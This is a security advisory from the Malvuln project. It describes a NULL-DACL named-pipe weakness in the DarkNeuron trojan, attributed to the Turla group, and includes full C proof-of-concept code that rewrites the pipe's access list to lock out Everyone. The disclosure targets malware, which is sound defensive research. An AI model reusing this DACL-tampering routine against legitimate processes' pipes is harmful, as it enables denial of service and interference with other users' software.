Trojan.Win32.DarkNeuron.gen MVID-2022-0661 Named Pipe NULL DACL

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022  
Original source: https://malvuln.com/advisory/d891c9374ccb2a4cae2274170e8644d8.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
Backup media: infosec.exchange/@malvuln  
  
Threat: Trojan.Win32.DarkNeuron.gen  
Vulnerability: Named Pipe Null DACL  
Family: DarkNeuron (Turla Group)  
Type: PE32  
MD5: d891c9374ccb2a4cae2274170e8644d8  
Vuln ID: MVID-2022-0661  
Disclosure: 11/24/2022  
Description: The malware process "NCSC.exe" creates an IPC pipe with a NULL DACL allowing RW for the Everyone user group.  
  
\\.\Pipe\Winsock2\baseapi_http  
RW Everyone  
RW BUILTIN\Administrators  
  
Local low privileged users can modify the DACL to remove rights for the Everyone users group, denying access to use the pipe for further RW interprocess communications.  
  
Exploit/PoC:  
#include "windows.h"  
#include "stdio.h"  
#include "accctrl.h"  
#include "aclapi.h"  
  
/*  
Trojan.Win32.DarkNeuron.gen (Turla Group) NCSC.exe  
MD5: d891c9374ccb2a4cae2274170e8644d8  
NamedPipe Exploit Deny Access to Everyone  
By Malvuln   
Nov of 2022  
**/  
  
#define VULN_TROJAN_PIPE "\\\\.\\pipe\\Winsock2\\baseapi_http"  
  
int main(void){  
  
HANDLE hPipe = CreateFileA((LPCSTR)VULN_TROJAN_PIPE, GENERIC_WRITE | WRITE_DAC, 0, NULL, OPEN_EXISTING, NULL, NULL);  
PACL pOldDACL = NULL;  
PACL pNewDACL = NULL;  
  
if (hPipe == INVALID_HANDLE_VALUE){   
printf("%d", GetLastError());   
return 1;  
}  
  
if(GetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, &pOldDACL, NULL, NULL) != ERROR_SUCCESS){  
printf("%d", GetLastError());  
return 1;  
}  
  
TRUSTEE trustee[1];  
trustee[0].TrusteeForm = TRUSTEE_IS_NAME;  
trustee[0].TrusteeType = TRUSTEE_IS_GROUP;  
trustee[0].ptstrName = TEXT("Everyone");  
trustee[0].MultipleTrusteeOperation = NO_MULTIPLE_TRUSTEE;  
trustee[0].pMultipleTrustee = NULL;  
  
EXPLICIT_ACCESS explicit_access_list[1];  
ZeroMemory(&explicit_access_list[0], sizeof(EXPLICIT_ACCESS));  
  
explicit_access_list[0].grfAccessMode = DENY_ACCESS;   
explicit_access_list[0].grfAccessPermissions = GENERIC_ALL;  
explicit_access_list[0].grfInheritance = NO_INHERITANCE;  
explicit_access_list[0].Trustee = trustee[0];  
  
if(SetEntriesInAcl(1, explicit_access_list, pOldDACL, &pNewDACL) != ERROR_SUCCESS){  
printf("%d", GetLastError());  
return 1;  
}  
  
if(SetSecurityInfo(hPipe, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDACL, NULL) != ERROR_SUCCESS){   
printf("%d", GetLastError());  
return 1;   
}else{  
printf("Trojan.Win32.DarkNeuron.gen (Turla Group) PWNED!\n");  
printf("By Malvuln\n");  
printf("Nov of 2022\n");  
}  
  
LocalFree(pNewDACL);  
LocalFree(pOldDACL);  
CloseHandle(hPipe);  
  
system("pause");  
  
return 0;  
}  
  
  
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`